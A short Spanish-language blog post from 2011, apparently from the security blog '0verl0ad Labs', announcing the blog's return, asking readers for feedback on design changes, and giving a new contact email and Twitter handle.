5 0verl0ad Labs: 2011 Saludos, Leyendo un post, de no recuerdo quién ni donde, usaban un script en PHP para conseguir la IP de un objetivo, cosa normal y...

domingo, 22 de mayo de 2011

Próximamente

Saludos,

Volvemos. No sé cuanto durará esta vuelta a primera línea de combate, pero vamos a ver en qué acaba la cosa. Quisiera hacer algunos cambios en el blog, y si algún loco sigue leyendo esto, sería bueno conocer su opinión (me refiero a cambios en el theme, añadir algún plug-in y esas cosas).

Por lo pronto estrenamos correo y twitter. El nuevo correo a través del cual podeis enviarno lo que os de la gana será overloadblog (at) hotmail.es . Cualquier sugerencia, aporte o crítica constructiva será bien recibida. Respecto al twitter aquí está:

@TheXC3LL
5 0verl0ad Labs: 2011 Saludos, Volvemos. No sé cuanto durará esta vuelta a primera línea de combate, pero vamos a ver en qué acaba la cosa. Quisiera hacer algu...
< >